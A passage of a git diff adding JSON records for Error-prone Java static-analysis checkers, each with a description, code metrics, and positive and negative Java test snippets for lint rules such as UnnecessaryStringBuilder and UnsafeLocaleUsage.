null, + "expected-linenumbers": [ + 76 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryStaticImport.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryStaticImport.json new file mode 100644 index 0000000..c357b70 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryStaticImport.json @@ -0,0 +1,54 @@ +{ + "name": "UnnecessaryStaticImport", + "language": "java", + "description": "Using static imports for types is unnecessary", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 41, + "branches": 4, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "package b;\n\n public class B {\n public static class Inner {}\n }\n \n\n // BUG: Diagnostic contains: import b.B.Inner;\n import static b.B.Inner;\n\n class Test {}" + }, + { + "description": "positiveRename", + "expected-problems": null, + "expected-linenumbers": [ + 54 + ], + "code": "package a;\n\n public class A {\n public static class Inner {}\n }\n \n\n package b;\n\n import a.A;\n\n public class B extends A {}\n \n\n package b;\n\n // BUG: Diagnostic contains: import a.A.Inner;\n import static b.B.Inner;\n\n class Test {}" + }, + { + "description": "negativeStaticMethod", + "expected-problems": null, + "expected-linenumbers": [ + 88 + ], + "code": "package a;\n\n public class A {\n public static class Inner {\n public static void f() {}\n }\n }\n \n\n package b;\n\n import a.A;\n\n public class B extends A {}\n \n\n package b;\n\n import static a.A.Inner.f;\n\n class Test {}" + }, + { + "description": "negativeGenericTypeStaticMethod", + "expected-problems": null, + "expected-linenumbers": [ + 123 + ], + "code": "package a;\n\n public class A {\n public static class Inner {\n public static void f() {}\n }\n }\n \n\n package b;\n\n import a.A;\n\n public class B extends A {}\n \n\n package b;\n\n import static a.A.Inner.f;\n\n class Test {}" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 158 + ], + "code": "package a;\n\n public class A {\n public static class Inner {}\n }\n \n\n package b;\n\n import a.A;\n\n public class B extends A {}\n \n\n package b;\n\n import a.A.Inner;\n\n class Test {}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryStringBuilder.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryStringBuilder.json new file mode 100644 index 0000000..d5e3c71 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryStringBuilder.json @@ -0,0 +1,70 @@ +{ + "name": "UnnecessaryStringBuilder", + "language": "java", + "description": "Prefer string concatenation over explicitly using `StringBuilder#append`, since `+` reads better and has equivalent or better performance.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 180, + "branches": 28, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "class Test {\n void f(String hello) {\n System.err.println(new StringBuilder().append(hello).append(\"world\"));\n System.err.println(new StringBuilder(hello).append(\"world\"));\n System.err.println(new StringBuilder(10).append(hello).append(\"world\"));\n System.err.println(new StringBuilder(hello).append(\"world\").toString());\n System.err.println(new StringBuilder().toString());\n }\n }\n \n\n class Test {\n void f(String hello) {\n System.err.println(hello + \"world\");\n System.err.println(hello + \"world\");\n System.err.println(hello + \"world\");\n System.err.println(hello + \"world\");\n System.err.println(\"\");\n }\n }" + }, + { + "description": "variable", + "expected-problems": null, + "expected-linenumbers": [ + 64 + ], + "code": "class Test {\n void f(String hello) {\n String a = new StringBuilder().append(hello).append(\"world\").toString();\n StringBuilder b = new StringBuilder().append(hello).append(\"world\");\n StringBuilder c = new StringBuilder().append(hello).append(\"world\");\n System.err.println(b);\n System.err.println(b + \"\");\n System.err.println(c);\n c.append(\"goodbye\");\n }\n }\n \n\n class Test {\n void f(String hello) {\n String a = hello + \"world\";\n String b = hello + \"world\";\n StringBuilder c = new StringBuilder().append(hello).append(\"world\");\n System.err.println(b);\n System.err.println(b + \"\");\n System.err.println(c);\n c.append(\"goodbye\");\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 100 + ], + "code": "class Test {\n void f(Iterable xs) {\n StringBuilder sb = new StringBuilder();\n for (String s : xs) {\n sb.append(s);\n }\n System.err.println(sb);\n }\n }" + }, + { + "description": "negativeMethodReference", + "expected-problems": null, + "expected-linenumbers": [ + 119 + ], + "code": "class Test {\n void f(Iterable xs) {\n StringBuilder sb = new StringBuilder();\n xs.forEach(sb::append);\n System.err.println(sb);\n }\n }" + }, + { + "description": "needsParens", + "expected-problems": null, + "expected-linenumbers": [ + 136 + ], + "code": "abstract class Test {\n abstract void g(String x);\n\n void f(boolean b, String hello) {\n g(new StringBuilder().append(b ? hello : \"\").append(\"world\").toString());\n }\n }\n \n\n abstract class Test {\n abstract void g(String x);\n\n void f(boolean b, String hello) {\n g((b ? hello : \"\") + \"world\");\n }\n }" + }, + { + "description": "varType", + "expected-problems": null, + "expected-linenumbers": [ + 164 + ], + "code": "abstract class Test {\n void f() {\n var sb = new StringBuilder().append(\"hello\");\n System.err.println(sb);\n }\n }\n \n\n abstract class Test {\n void f() {\n var sb = \"hello\";\n System.err.println(sb);\n }\n }" + }, + { + "description": "unusedReturnValue", + "expected-problems": null, + "expected-linenumbers": [ + 190 + ], + "code": "class Test {\n void f() {\n new StringBuilder().append(\"foo\");\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryTestMethodPrefix.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryTestMethodPrefix.json new file mode 100644 index 0000000..05c13a8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryTestMethodPrefix.json @@ -0,0 +1,78 @@ +{ + "name": "UnnecessaryTestMethodPrefix", + "language": "java", + "description": "A `test` prefix for a JUnit4 test is redundant, and a holdover from JUnit3. The `@Test` annotation makes it clear it's a test.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 68, + "branches": 5, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "import org.junit.Test;\n\n class T {\n @Test\n public void testFoo() {}\n }\n \n\n import org.junit.Test;\n\n class T {\n @Test\n public void foo() {}\n }" + }, + { + "description": "testFoo", + "expected-problems": null, + "expected-linenumbers": [ + 38 + ], + "code": "" + }, + { + "description": "foo", + "expected-problems": null, + "expected-linenumbers": [ + 48 + ], + "code": "" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 55 + ], + "code": "import org.junit.Test;\n\n class T {\n @Test\n public void foo() {}\n }\n \n\n import org.junit.Test;\n\n class T {\n @Test\n public void foo() {}\n }" + }, + { + "description": "foo", + "expected-problems": null, + "expected-linenumbers": [ + 64 + ], + "code": "" + }, + { + "description": "foo", + "expected-problems": null, + "expected-linenumbers": [ + 74 + ], + "code": "" + }, + { + "description": "namedTest_noRename", + "expected-problems": null, + "expected-linenumbers": [ + 81 + ], + "code": "import org.junit.Test;\n\n class T {\n @Test\n public void test() {}\n }" + }, + { + "description": "test", + "expected-problems": null, + "expected-linenumbers": [ + 90 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryTypeArgument.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryTypeArgument.json new file mode 100644 index 0000000..cafec96 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryTypeArgument.json @@ -0,0 +1,70 @@ +{ + "name": "UnnecessaryTypeArgument", + "language": "java", + "description": "Non-generic methods should not be invoked with type arguments", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 83, + "branches": 9, + "apis": 1, + "test": [ + { + "description": "positiveCall", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "package foo.bar;\n\n class Test {\n void f() {}\n\n void m() {\n // BUG: Diagnostic contains: this.f()\n this.f();\n }\n }" + }, + { + "description": "positiveThis", + "expected-problems": null, + "expected-linenumbers": [ + 51 + ], + "code": "package foo.bar;\n\n class Test {\n static class C {\n public C() {\n // BUG: Diagnostic contains: /*START*/ this(42)\n /*START*/ this(42);\n }\n\n public C(int i) {}\n }\n }" + }, + { + "description": "positiveSuper", + "expected-problems": null, + "expected-linenumbers": [ + 73 + ], + "code": "package foo.bar;\n\n class Test {\n static class B {\n public B() {}\n }\n\n static class C extends B {\n public C() {\n // BUG: Diagnostic contains: /*START*/ super()\n /*START*/ super();\n }\n }\n }" + }, + { + "description": "positiveInstantiation", + "expected-problems": null, + "expected-linenumbers": [ + 97 + ], + "code": "package foo.bar;\n\n class Test {\n static class C {\n public C() {}\n }\n\n void m() {\n // BUG: Diagnostic contains: new C()\n new C();\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 119 + ], + "code": "package foo.bar;\n\n class Test {\n void f() {}\n\n void m() {\n this.f();\n }\n }" + }, + { + "description": "negativeGenericSuper", + "expected-problems": null, + "expected-linenumbers": [ + 138 + ], + "code": "public class Super {\n public T f(T x) {\n return x;\n }\n }\n \n\n @SuppressWarnings(\"unchecked\")\n public class Sub extends Super {\n public Object f(Object x) {\n return x;\n }\n }\n \n\n public class Test {\n void m(Sub s) {\n s.f(null);\n }\n }" + }, + { + "description": "whitespaceFix", + "expected-problems": null, + "expected-linenumbers": [ + 172 + ], + "code": "package foo.bar;\n\n class Test {\n void f() {}\n\n void m() {\n // BUG: Diagnostic contains: this.f()\n this.f();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnsafeFinalization.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnsafeFinalization.json new file mode 100644 index 0000000..c48f983 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnsafeFinalization.json @@ -0,0 +1,78 @@ +{ + "name": "UnsafeFinalization", + "language": "java", + "description": "Finalizer may run before native code finishes execution", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 134, + "branches": 14, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "class MyAwesomeGame {\n private long nativeResourcePtr;\n\n private static native long doNativeInit();\n\n private static native void cleanUpNativeResources(long nativeResourcePtr);\n\n private static native void playAwesomeGame(long nativeResourcePtr);\n\n public MyAwesomeGame() {\n nativeResourcePtr = doNativeInit();\n }\n\n @SuppressWarnings(\"removal\")\n @Override\n protected void finalize() throws Throwable {\n cleanUpNativeResources(nativeResourcePtr);\n nativeResourcePtr = 0;\n super.finalize();\n }\n\n public void run() {\n // BUG: Diagnostic contains:\n playAwesomeGame(nativeResourcePtr);\n }\n }" + }, + { + "description": "negative_instance", + "expected-problems": null, + "expected-linenumbers": [ + 67 + ], + "code": "class MyAwesomeGame {\n private static long nativeResourcePtr;\n\n private native void playAwesomeGame(long nativeResourcePtr);\n\n @SuppressWarnings(\"removal\")\n @Override\n protected void finalize() {}\n\n public void run() {\n playAwesomeGame(nativeResourcePtr);\n }\n }" + }, + { + "description": "negative_this", + "expected-problems": null, + "expected-linenumbers": [ + 90 + ], + "code": "class NativeStuff {\n static native void doNative(long ctx, NativeResource instance);\n }\n \n\n class NativeResource {\n private static long ctx;\n\n @SuppressWarnings(\"removal\")\n @Override\n protected void finalize() {}\n\n public void run() {\n NativeStuff.doNative(ctx, this);\n }\n }" + }, + { + "description": "negative_nonIntOrLong", + "expected-problems": null, + "expected-linenumbers": [ + 118 + ], + "code": "class MyAwesomeGame {\n private static String nativeResourcePtr;\n\n private static native void playAwesomeGame(String nativeResourcePtr);\n\n @SuppressWarnings(\"removal\")\n @Override\n protected void finalize() {}\n\n public static void run() {\n playAwesomeGame(nativeResourcePtr);\n }\n }" + }, + { + "description": "negative_nonNative", + "expected-problems": null, + "expected-linenumbers": [ + 141 + ], + "code": "class MyAwesomeGame {\n private static long nativeResourcePtr;\n\n private static void playAwesomeGame(long nativeResourcePtr) {}\n\n @SuppressWarnings(\"removal\")\n @Override\n protected void finalize() {}\n\n public static void run() {\n playAwesomeGame(nativeResourcePtr);\n }\n }" + }, + { + "description": "negative_noInstanceState", + "expected-problems": null, + "expected-linenumbers": [ + 164 + ], + "code": "class MyAwesomeGame {\n private long nativeResourcePtr;\n\n private static native long doNativeInit();\n\n private static native void cleanUpNativeResources(long nativeResourcePtr);\n\n private static native void playAwesomeGame();\n\n public MyAwesomeGame() {\n nativeResourcePtr = doNativeInit();\n }\n\n @SuppressWarnings(\"removal\")\n @Override\n protected void finalize() throws Throwable {\n cleanUpNativeResources(nativeResourcePtr);\n nativeResourcePtr = 0;\n super.finalize();\n }\n\n public void run() {\n playAwesomeGame();\n }\n }" + }, + { + "description": "negativeFence", + "expected-problems": null, + "expected-linenumbers": [ + 199 + ], + "code": "import java.lang.ref.Reference;\n\n class MyAwesomeGame {\n private long nativeResourcePtr;\n\n private static native long doNativeInit();\n\n private static native void cleanUpNativeResources(long nativeResourcePtr);\n\n private static native void playAwesomeGame(long nativeResourcePtr);\n\n public MyAwesomeGame() {\n nativeResourcePtr = doNativeInit();\n }\n\n @SuppressWarnings(\"removal\")\n @Override\n protected void finalize() throws Throwable {\n cleanUpNativeResources(nativeResourcePtr);\n nativeResourcePtr = 0;\n super.finalize();\n }\n\n public void run() {\n try {\n playAwesomeGame(nativeResourcePtr);\n } finally {\n Reference.reachabilityFence(this);\n }\n }\n }" + }, + { + "description": "negativeInterface", + "expected-problems": null, + "expected-linenumbers": [ + 240 + ], + "code": "interface I {\n int duration = 1;\n\n default void f() throws Exception {\n // a native static method\n Thread.sleep(duration);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnsafeLocaleUsage.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnsafeLocaleUsage.json new file mode 100644 index 0000000..56d3d06 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnsafeLocaleUsage.json @@ -0,0 +1,70 @@ +{ + "name": "UnsafeLocaleUsage", + "language": "java", + "description": "Possible unsafe operation related to the java.util.Locale library.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 92, + "branches": 7, + "apis": 2, + "test": [ + { + "description": "unsafeLocaleUsageCheck_constructorUsageWithOneParam_shouldRefactorNonLiteralParam", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "import java.util.Locale;\n\n class Test {\n static class Inner {\n private Locale locale;\n\n Inner(String a) {\n locale = new Locale(a);\n }\n }\n\n private static final Test.Inner INNER_OBJ = new Inner(\"zh_hant_tw\");\n }\n \n\n import java.util.Locale;\n\n class Test {\n static class Inner {\n private Locale locale;\n\n Inner(String a) {\n locale = Locale.forLanguageTag(a.replace('_', '-'));\n }\n }\n\n private static final Test.Inner INNER_OBJ = new Inner(\"zh_hant_tw\");\n }" + }, + { + "description": "unsafeLocaleUsageCheck_constructorUsageWithOneParam_shouldRefactorLiteralParam", + "expected-problems": null, + "expected-linenumbers": [ + 74 + ], + "code": "import java.util.Locale;\n\n class Test {\n private static final Locale LOCALE = new Locale(\"zh_hant_tw\");\n }\n \n\n import java.util.Locale;\n\n class Test {\n private static final Locale LOCALE = Locale.forLanguageTag(\"zh-hant-tw\");\n }" + }, + { + "description": "unsafeLocaleUsageCheck_constructorUsageWithTwoParams_shouldRefactor", + "expected-problems": null, + "expected-linenumbers": [ + 98 + ], + "code": "import java.util.Locale;\n\n class Test {\n static class Inner {\n private Locale locale;\n\n Inner(String a, String b) {\n locale = new Locale(a, b);\n }\n }\n\n private static final Test.Inner INNER_OBJ = new Inner(\"zh\", \"tw\");\n }\n \n\n import java.util.Locale;\n\n class Test {\n static class Inner {\n private Locale locale;\n\n Inner(String a, String b) {\n locale = new Locale.Builder().setLanguage(a).setRegion(b).build();\n }\n }\n\n private static final Test.Inner INNER_OBJ = new Inner(\"zh\", \"tw\");\n }" + }, + { + "description": "unsafeLocaleUsageCheck_constructorUsageWithThreeParams_shouldFlag", + "expected-problems": null, + "expected-linenumbers": [ + 138 + ], + "code": "import java.util.Locale;\n\n class Test {\n static class Inner {\n private Locale locale;\n\n Inner(String a, String b, String c) {\n // BUG: Diagnostic contains: forLanguageTag(String)\n locale = new Locale(a, b, c);\n }\n }\n\n private static final Test.Inner INNER_OBJ = new Inner(\"zh\", \"tw\", \"hant\");\n }" + }, + { + "description": "unsafeLocaleUsageCheck_toStringUsage_shouldRefactor", + "expected-problems": null, + "expected-linenumbers": [ + 162 + ], + "code": "import java.util.Locale;\n\n class Test {\n static class Inner {\n private Locale locale;\n\n Inner(String a) {\n locale = Locale.forLanguageTag(a);\n }\n\n String getLocaleDisplayString() {\n return locale.toString();\n }\n }\n\n private static final Test.Inner INNER_OBJ = new Inner(\"zh_hant_tw\");\n }\n \n\n import java.util.Locale;\n\n class Test {\n static class Inner {\n private Locale locale;\n\n Inner(String a) {\n locale = Locale.forLanguageTag(a);\n }\n\n String getLocaleDisplayString() {\n return locale.toLanguageTag();\n }\n }\n\n private static final Test.Inner INNER_OBJ = new Inner(\"zh_hant_tw\");\n }" + }, + { + "description": "unsafeLocaleUsageCheck_multipleErrors_shouldFlag", + "expected-problems": null, + "expected-linenumbers": [ + 210 + ], + "code": "import java.util.Locale;\n\n class Test {\n private static final Locale LOCALE =\n // BUG: Diagnostic contains: forLanguageTag(String)\n new Locale(\n // BUG: Diagnostic contains: toLanguageTag()\n Locale.TAIWAN.toString());\n }" + }, + { + "description": "unsafeLocaleUsageCheck_instanceMethodUsage_shouldNotFlag", + "expected-problems": null, + "expected-linenumbers": [ + 229 + ], + "code": "import java.util.Locale;\n import com.google.common.collect.ImmutableMap;\n\n class Test {\n private static final ImmutableMap INTERNAL_COUNTRY_CODE_TO_LOCALE =\n ImmutableMap.of(\"abc\", Locale.KOREAN);\n private static final String DISPLAY_NAME = getLocaleDisplayNameFromCode(\"abc\");\n\n public static final String getLocaleDisplayNameFromCode(String code) {\n return INTERNAL_COUNTRY_CODE_TO_LOCALE.get(code).getDisplayName();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnsafeReflectiveConstructionCast.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnsafeReflectiveConstructionCast.json new file mode 100644 index 0000000..7bf8d81 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnsafeReflectiveConstructionCast.json @@ -0,0 +1,54 @@ +{ + "name": "UnsafeReflectiveConstructionCast", + "language": "java", + "description": "Prefer `asSubclass` instead of casting the result of `newInstance`, to detect classes of incorrect type before invoking their constructors. This way, if the class is of the incorrect type, it will throw an exception before invoking its constructor.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 91, + "branches": 8, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 38 + ], + "code": "class Test {\n private String newInstanceOnGetDeclaredConstructorChained() throws Exception {\n return (String) Class.forName(\"java.lang.String\").getDeclaredConstructor().newInstance();\n }\n}\n\n\n class Test {\n private String newInstanceOnGetDeclaredConstructorChained() throws Exception {\n return Class.forName(\"java.lang.String\")\n .asSubclass(String.class)\n .getDeclaredConstructor()\n .newInstance();\n }\n }" + }, + { + "description": "positiveCaseConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 65 + ], + "code": "class Test {\n private String newInstanceOnGetConstructorChained() throws Exception {\n return (String) Class.forName(\"java.lang.String\").getConstructor().newInstance();\n }\n }\n \n\n class Test {\n private String newInstanceOnGetConstructorChained() throws Exception {\n return Class.forName(\"java.lang.String\")\n .asSubclass(String.class)\n .getConstructor()\n .newInstance();\n }\n }" + }, + { + "description": "positiveCaseWithErasure", + "expected-problems": null, + "expected-linenumbers": [ + 92 + ], + "code": "class Test {\n class Fn {}\n ;\n\n private Fn newInstanceOnGetDeclaredConstructorChained() throws Exception {\n return (Fn) Class.forName(\"Fn\").getDeclaredConstructor().newInstance();\n }\n }\n \n\nclass Test {\n class Fn {}\n ;\n\n private Fn newInstanceOnGetDeclaredConstructorChained() throws Exception {\n return (Fn)\n Class.forName(\"Fn\").asSubclass(Fn.class).getDeclaredConstructor().newInstance();\n }\n}" + }, + { + "description": "negativeCaseWithIntersection", + "expected-problems": null, + "expected-linenumbers": [ + 123 + ], + "code": "import java.io.Serializable;\n\nclass Test {\n interface Fn {}\n ;\n\n private Fn newInstanceOnGetDeclaredConstructorChained() throws Exception {\n return (Serializable & Fn) Class.forName(\"Fn\").getDeclaredConstructor().newInstance();\n }\n}" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 143 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n/**\n * Negative cases for {@link UnsafeReflectiveConstructionCast}.\n *\n * @author bhagwani@google.com (Sumit Bhagwani)\n */\npublic class UnsafeReflectiveConstructionCastNegativeCases {\n\n public String newInstanceDirectCall() throws Exception {\n return (String) Class.forName(\"java.lang.String\").newInstance();\n }\n\n public String newInstanceDirectlyOnClassAndGetDeclaredConstructor() throws Exception {\n return (String) String.class.getDeclaredConstructor().newInstance();\n }\n\n public String newInstanceDirectlyOnClassAndNewInstance() throws Exception {\n return (String) String.class.newInstance();\n }\n\n public String invocationWithAsSubclass() throws Exception {\n return Class.forName(\"java.lang.String\").asSubclass(String.class).newInstance();\n }\n\n public class Supplier {\n public T get(String className) {\n try {\n return (T) Class.forName(className).getDeclaredConstructor().newInstance();\n } catch (ReflectiveOperationException e) {\n throw new IllegalStateException(e);\n }\n }\n }\n}\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnsynchronizedOverridesSynchronized.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnsynchronizedOverridesSynchronized.json new file mode 100644 index 0000000..7fd2fbf --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnsynchronizedOverridesSynchronized.json @@ -0,0 +1,78 @@ +{ + "name": "UnsynchronizedOverridesSynchronized", + "language": "java", + "description": "Unsynchronized method overrides a synchronized method.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 140, + "branches": 12, + "apis": 2, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "package test;\n\n class Super {\n synchronized void f() {}\n }\n \n\n package test;\n\n class Test extends Super {\n int counter;\n\n // BUG: Diagnostic contains: f overrides synchronized method in Super\n // synchronized void f()\n void f() {\n counter++;\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 61 + ], + "code": "package test;\n\n class Super {\n synchronized void f() {}\n }\n \n\n package test;\n\n class Test extends Super {\n int counter;\n\n synchronized void f() {\n counter++;\n }\n }" + }, + { + "description": "ignoreInputStream", + "expected-problems": null, + "expected-linenumbers": [ + 89 + ], + "code": "package test;\n\n import java.io.InputStream;\n import java.io.IOException;\n\n class Test extends InputStream {\n @Override\n public int read() throws IOException {\n throw new IOException();\n }\n\n @Override\n public /*unsynchronized*/ void mark(int readlimit) {}\n }" + }, + { + "description": "callsSuperWithOtherStatements", + "expected-problems": null, + "expected-linenumbers": [ + 113 + ], + "code": "package test;\n\n class Test {\n class B extends Throwable {\n // BUG: Diagnostic contains:\n public Throwable getCause() {\n System.err.println();\n return super.getCause();\n }\n }\n\n class C extends Throwable {\n // BUG: Diagnostic contains:\n public Exception getCause() {\n System.err.println();\n return (Exception) super.getCause();\n }\n }\n }" + }, + { + "description": "ignoreDelegatesToSuper", + "expected-problems": null, + "expected-linenumbers": [ + 142 + ], + "code": "package test;\n\n class Test {\n class B extends Throwable {\n public Throwable getCause() {\n return super.getCause();\n }\n }\n\n class C extends Throwable {\n public Exception getCause() {\n return (Exception) super.getCause();\n }\n }\n }" + }, + { + "description": "ignoreEmptyOverride", + "expected-problems": null, + "expected-linenumbers": [ + 167 + ], + "code": "package test;\n\n class Lib {\n public synchronized void f() {}\n }\n \n\n package test;\n\n class Test {\n class B extends Lib {\n public void f() {}\n }\n\n class C extends Lib {\n public void f() {\n super.f();\n }\n }\n\n class D extends Lib {\n public void f() {\n return;\n }\n }\n }" + }, + { + "description": "ignoreOverrideThatReturnsThis", + "expected-problems": null, + "expected-linenumbers": [ + 205 + ], + "code": "package test;\n\n abstract class Test extends Throwable {\n @Override\n public Throwable fillInStackTrace() {\n return this;\n }\n }" + }, + { + "description": "ignoreOverrideThatReturnsConstant", + "expected-problems": null, + "expected-linenumbers": [ + 223 + ], + "code": "class A {\n synchronized int f() {\n return -1;\n }\n }\n \n\n class B extends A {\n @Override\n public int f() {\n return 42;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnusedAnonymousClass.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnusedAnonymousClass.json new file mode 100644 index 0000000..e53c43e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnusedAnonymousClass.json @@ -0,0 +1,78 @@ +{ + "name": "UnusedAnonymousClass", + "language": "java", + "description": "Instance created but never used", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 75, + "branches": 15, + "apis": 1, + "test": [ + { + "description": "deadObject", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "package a;\n\n public class One {\n public static void main(String[] args) {\n new Object();\n }\n }" + }, + { + "description": "deadThread", + "expected-problems": null, + "expected-linenumbers": [ + 48 + ], + "code": "package a;\n\n public class One {\n public static void main(String[] args) {\n // BUG: Diagnostic contains:\n new Thread() {\n public void run() {}\n };\n }\n }" + }, + { + "description": "liveObject", + "expected-problems": null, + "expected-linenumbers": [ + 68 + ], + "code": "package a;\n\n public class One {\n public static void main(String[] args) {\n new Object().toString();\n }\n }" + }, + { + "description": "deadCallable", + "expected-problems": null, + "expected-linenumbers": [ + 85 + ], + "code": "package a;\n\n import java.util.concurrent.Callable;\n\n public class One {\n public static void main(String[] args) throws Exception {\n // BUG: Diagnostic contains:\n new Callable() {\n public Void call() throws Exception {\n return null;\n }\n };\n }\n }" + }, + { + "description": "liveCallable", + "expected-problems": null, + "expected-linenumbers": [ + 109 + ], + "code": "package a;\n\n import java.util.concurrent.Callable;\n\n public class One {\n public static void main(String[] args) throws Exception {\n new Callable() {\n public Void call() throws Exception {\n return null;\n }\n }.call();\n }\n }" + }, + { + "description": "liveCallableViaCinit", + "expected-problems": null, + "expected-linenumbers": [ + 132 + ], + "code": "package a;\n\n import java.util.concurrent.Callable;\n import java.util.ArrayList;\n\n public class One {\n static ArrayList> callables = new ArrayList<>();\n\n public static void main(String[] args) throws Exception {\n new Callable() {\n {\n callables.add(this);\n }\n\n public Void call() throws Exception {\n return null;\n }\n };\n }\n }" + }, + { + "description": "deadCallableWithField", + "expected-problems": null, + "expected-linenumbers": [ + 162 + ], + "code": "package a;\n\n import java.util.concurrent.Callable;\n import java.util.ArrayList;\n\n public class One {\n public static void main(String[] args) throws Exception {\n // BUG: Diagnostic contains:\n new Callable() {\n Void register;\n\n public Void call() throws Exception {\n return null;\n }\n };\n }\n }" + }, + { + "description": "liveCallableViaField", + "expected-problems": null, + "expected-linenumbers": [ + 189 + ], + "code": "package a;\n\n import java.util.concurrent.Callable;\n import java.util.ArrayList;\n\n public class One {\n static ArrayList> callables = new ArrayList<>();\n\n static Void register(Callable callable) {\n callables.add(callable);\n return null;\n }\n\n public static void main(String[] args) throws Exception {\n new Callable() {\n Void register = register(this);\n\n public Void call() throws Exception {\n return null;\n }\n };\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnusedCollectionModifiedInPlace.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnusedCollectionModifiedInPlace.json new file mode 100644 index 0000000..ca6244f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnusedCollectionModifiedInPlace.json @@ -0,0 +1,46 @@ +{ + "name": "UnusedCollectionModifiedInPlace", + "language": "java", + "description": "Collection is modified in place, but the result is not used", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 71, + "branches": 2, + "apis": 1, + "test": [ + { + "description": "collectionsMethodCoverage", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import java.util.Collections;\n import java.util.ArrayList;\n import java.util.List;\n\n class Test {\n void doIt(List myList) {\n // BUG: Diagnostic contains:\n Collections.copy(new ArrayList<>(myList), null);\n // BUG: Diagnostic contains:\n Collections.fill(new ArrayList<>(myList), null);\n // BUG: Diagnostic contains:\n Collections.reverse(new ArrayList<>(myList));\n // BUG: Diagnostic contains:\n Collections.rotate(new ArrayList<>(myList), 5);\n // BUG: Diagnostic contains:\n Collections.shuffle(new ArrayList<>(myList));\n // BUG: Diagnostic contains:\n Collections.shuffle(new ArrayList<>(myList), null);\n // BUG: Diagnostic contains:\n Collections.sort(new ArrayList<>(myList));\n // BUG: Diagnostic contains:\n Collections.sort(new ArrayList<>(myList), null);\n // BUG: Diagnostic contains:\n Collections.swap(new ArrayList<>(myList), 1, 2);\n }\n }" + }, + { + "description": "listsNewArrayList", + 